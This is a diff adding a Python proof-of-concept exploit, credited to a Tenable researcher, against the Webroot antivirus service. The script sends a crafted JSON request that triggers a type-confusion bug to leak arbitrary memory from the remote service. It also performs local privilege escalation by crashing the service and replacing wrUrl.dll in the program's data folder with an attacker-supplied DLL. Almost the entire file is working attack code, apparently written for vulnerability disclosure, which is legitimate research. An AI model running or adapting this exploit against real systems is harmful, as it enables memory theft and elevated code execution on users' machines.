|
| 1 | +''' |
| 2 | +David Wells |
| 3 | +03-13-2020 |
| 4 | +Tenable |
| 5 | +WebRootPoC LPE/MemoryLeak |
| 6 | +''' |
| 7 | + |
| 8 | +import socket |
| 9 | +import json |
| 10 | +import sys, getopt |
| 11 | +import struct |
| 12 | +import shutil |
| 13 | +import os |
| 14 | +import time |
| 15 | + |
| 16 | +HOST = '10.0.2.5' # Webroot Service IP |
| 17 | +PORT = 27019 # Webroot Service Port |
| 18 | + |
| 19 | +class UnencodableByte(Exception): |
| 20 | + pass |
| 21 | + |
| 22 | +''' |
| 23 | +Represents address and data found at address |
| 24 | +''' |
| 25 | +class MemoryData: |
| 26 | + def __init__(self, address, data): |
| 27 | + self.address = address |
| 28 | + self.data = data |
| 29 | + |
| 30 | +def Usage(): |
| 31 | + print("Usage: WebRootPoc.py [OPTION]\r\n -r\t<32-bit Memory Address in Hex>\tReads Memory from Remote Webroot Instance\r\n -e\tLocal Privilege Escalation") |
| 32 | + |
| 33 | +def intToByteStr(hexval): |
| 34 | + return '{:02x}'.format(hexval) |
| 35 | + |
| 36 | +''' |
| 37 | +@:param - Address bytes |
| 38 | +@:returns MemoryData representing address and data found in address |
| 39 | +
|
| 40 | +Crafts HTTP request that satisfies WebRoot service parsing. |
| 41 | +Abuses a Type-Confusion vulnerability when "DATA" list is traversed. Webroot routine |
| 42 | +will expect list elements to be type JSON_OBJ and key into them accordingly. |
| 43 | +By embedding a [\"URL\"] list element, Webroot JSON parser will dereference |
| 44 | +this as if it were JSON obj looking for "URL" key/value pair and trigger a read-what-where. This |
| 45 | +can be leaked back in the URL field of the server's response. |
| 46 | +
|
| 47 | +JSON_KEY on List obj (Bug), looks up "URL" key and return value pair |
| 48 | + | |
| 49 | + | |
| 50 | + V |
| 51 | +___________ ___________ |
| 52 | +| LIST_OBJ | --- Finds "URL" key match --> | String | |
| 53 | +| | | "URL" | |
| 54 | +------------ ----------- |
| 55 | + | |
| 56 | + | JSON_Key_Value returns value offset of buffer after matching URL |
| 57 | + V |
| 58 | +______________________ _____________________ |
| 59 | +| Type Confusion | -------------------------> | \x41\x41\x41\x41 | - Supposed to be address of key "value", but we control this pointer via crafted string |
| 60 | +| returns string | | ----------------- | |
| 61 | +| of next List element| | 11111111111111 | - Object type field is padded with "1"s to spoof expected type to pass Webroot check |
| 62 | +----------------------- ---------------------- |
| 63 | + |
| 64 | +''' |
| 65 | + |
| 66 | +def LeakMemory(addr_bytes): |
| 67 | + |
| 68 | + # Raise Exception if we cant encode address |
| 69 | + addr_bytes = [addr if int(addr, 16) <= 0x7f else None for addr in addr_bytes] |
| 70 | + if(None in addr_bytes): |
| 71 | + raise UnencodableByte |
| 72 | + |
| 73 | + http_response = '' |
| 74 | + http_lines = [] |
| 75 | + http_lines.append("POST / HTTP/1.1") |
| 76 | + http_lines.append("\r\n") |
| 77 | + http_lines.append("Content-Type: application/urltree; charset=utf-8") |
| 78 | + http_lines.append("\r\n") |
| 79 | + http_lines.append("Content-Length:0") |
| 80 | + http_lines.append("\r\n\r\n") |
| 81 | + http_lines.append('{{"VER":1, "OP":1, "DATA":[["URL"], ["\\u00{}\\u00{}\\u00{}\\u00{}11111111111111111111"]], ' |
| 82 | + '"IDATA":[{{"TOKEN":"1","BCRI":"1"}}], "BRWSR":"Chrome"}}'.format(addr_bytes[0], addr_bytes[1], addr_bytes[2], addr_bytes[3])) |
| 83 | + with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: |
| 84 | + s.connect((HOST, PORT)) |
| 85 | + s.sendall("".join(http_lines).encode()) |
| 86 | + http_response = s.recv(1024) |
| 87 | + |
| 88 | + if http_response == b'': |
| 89 | + return None |
| 90 | + |
| 91 | + payload = http_response.decode('latin1').split('\r\n\r\n')[1] # Get payload from HTTP response |
| 92 | + try: |
| 93 | + json_response = json.loads(payload) |
| 94 | + except: |
| 95 | + url_field = payload.split('URL')[1] |
| 96 | + try: |
| 97 | + url_field = json_response['DATA'][0]['URL'] |
| 98 | + except: |
| 99 | + return None |
| 100 | + if url_field == '': |
| 101 | + return None |
| 102 | + return MemoryData(struct.unpack('>I', struct.pack('<I', int("".join(addr_bytes),16)))[0], |
| 103 | + url_field) |
| 104 | + |
| 105 | +''' |
| 106 | +@param address - Address integer to read memory from. Address must not contain bytes greater than 0x7f. |
| 107 | +@returns - List of MemoryData objs |
| 108 | +
|
| 109 | +This accepts a 32-bit address thats contents will be leaked from WebRoot server. |
| 110 | +This function will raise an Exception of "Unencodable Byte" if individual address byte |
| 111 | +exceeds 0x7f, as bytes in that range are unencodable. |
| 112 | +
|
| 113 | +''' |
| 114 | + |
| 115 | +def ReadMemory(address): |
| 116 | + print("\033[94mReading Memory starting @{:08x}...".format(address)) |
| 117 | + addr_bytes = [intToByteStr(address & 0x000000ff), intToByteStr(address >> 8 & 0x0000ff), intToByteStr(address >> 16 & 0x00ff), |
| 118 | + intToByteStr(address >> 24)] |
| 119 | + |
| 120 | + MemoryDatas = [] |
| 121 | + |
| 122 | + for i in range(0, 0x7f): |
| 123 | + try: |
| 124 | + memDat = LeakMemory(addr_bytes) |
| 125 | + except UnencodableByte: |
| 126 | + print("Unencodable Byte found in supplied address. All bytes must be below 0x80") |
| 127 | + sys.exit(-1) |
| 128 | + if memDat is None: |
| 129 | + addr_bytes[0] = intToByteStr(int(addr_bytes[0], 16) + 1) # incriment address |
| 130 | + continue |
| 131 | + addr_bytes[0] = intToByteStr(int(addr_bytes[0], 16) + len(memDat.data)) # incriment address |
| 132 | + print("\033[92m@{:08x} - {}\x1b[0m".format(memDat.address, memDat.data)) |
| 133 | + |
| 134 | + if int(addr_bytes[0], 16) > 0x7f: |
| 135 | + return |
| 136 | + MemoryDatas.append(memDat) |
| 137 | + |
| 138 | + |
| 139 | + return MemoryDatas |
| 140 | + |
| 141 | +''' |
| 142 | +Local Privilege Escalation. |
| 143 | +By Crashing the AV service via Access Violation in our Type Confusion bug, we can replace the wrUrl.dll |
| 144 | +in %PROGRAMDATA%\WrData\PKG with our own. This is done by renaming the "wrUrl" directory. |
| 145 | +''' |
| 146 | +def LPE(): |
| 147 | + try: |
| 148 | + wrUrl_dll = open('wrUrl.dll', 'rb') |
| 149 | + except: |
| 150 | + print("Cannot find mock wrUrl.dll. Ensure it resides in current directory") |
| 151 | + sys.exit(-1) |
| 152 | + PKGPath = os.path.expandvars("%PROGRAMDATA%\WRData\PKG") |
| 153 | + PKGPath2 = os.path.expandvars("%PROGRAMDATA%\WRData\PKG2") |
| 154 | + try: |
| 155 | + ReadMemory(0) # Trigger Access Violation |
| 156 | + except ConnectionResetError: |
| 157 | + pass |
| 158 | + time.sleep(3) |
| 159 | + os.rename(PKGPath, PKGPath2) |
| 160 | + shutil.copytree(PKGPath2, PKGPath) |
| 161 | + shutil.copyfile('wrUrl.dll', os.path.join(PKGPath, 'wrUrl.dll')) # replace dll with our own |
| 162 | + |
| 163 | +def main(argv): |
| 164 | + if len(argv) == 0: |
| 165 | + Usage() |
| 166 | + try: |
| 167 | + opts, args = getopt.getopt(argv, "r:e") |
| 168 | + except getopt.GetoptError: |
| 169 | + Usage() |
| 170 | + sys.exit(-1) |
| 171 | + |
| 172 | + for opt, arg in opts: |
| 173 | + if opt == '-r': |
| 174 | + try: |
| 175 | + ReadMemory(int(arg, 16)) |
| 176 | + except ConnectionResetError: |
| 177 | + print("Ooops. Didnt get response back from Webroot, probably crashed it due to Access Violation. Make sure" |
| 178 | + "Address is valid in remote WebRoot process or just try again after service auto-restarts") |
| 179 | + sys.exit(-1) |
| 180 | + elif opt == '-e': |
| 181 | + LPE() |
| 182 | + |
| 183 | + |
| 184 | +if __name__ == "__main__": |
| 185 | + main(sys.argv[1:]) |
0 commit comments